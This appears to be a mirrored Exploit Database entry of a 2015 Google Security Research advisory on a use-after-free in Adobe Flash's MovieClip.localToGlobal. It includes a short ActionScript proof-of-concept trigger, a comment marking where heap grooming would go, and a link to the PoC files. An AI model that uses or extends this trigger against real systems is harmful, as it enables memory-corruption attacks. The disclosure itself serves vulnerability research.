Adobe Flash MovieClip.localToGlobal – Use-After-Free

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39056/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=570
  
  There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:
  
  var a = func;
  _global.Number = a;
  this.createEmptyMovieClip("mc", 1);
  mc.localToGlobal( 7 );
  
  
  function func(){
  	
  	mc.removeMovieClip();
  	
  // fix heap here
  
  this.x = 2;
  	this.y = 1;
  	
  	}
  	
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39056.zip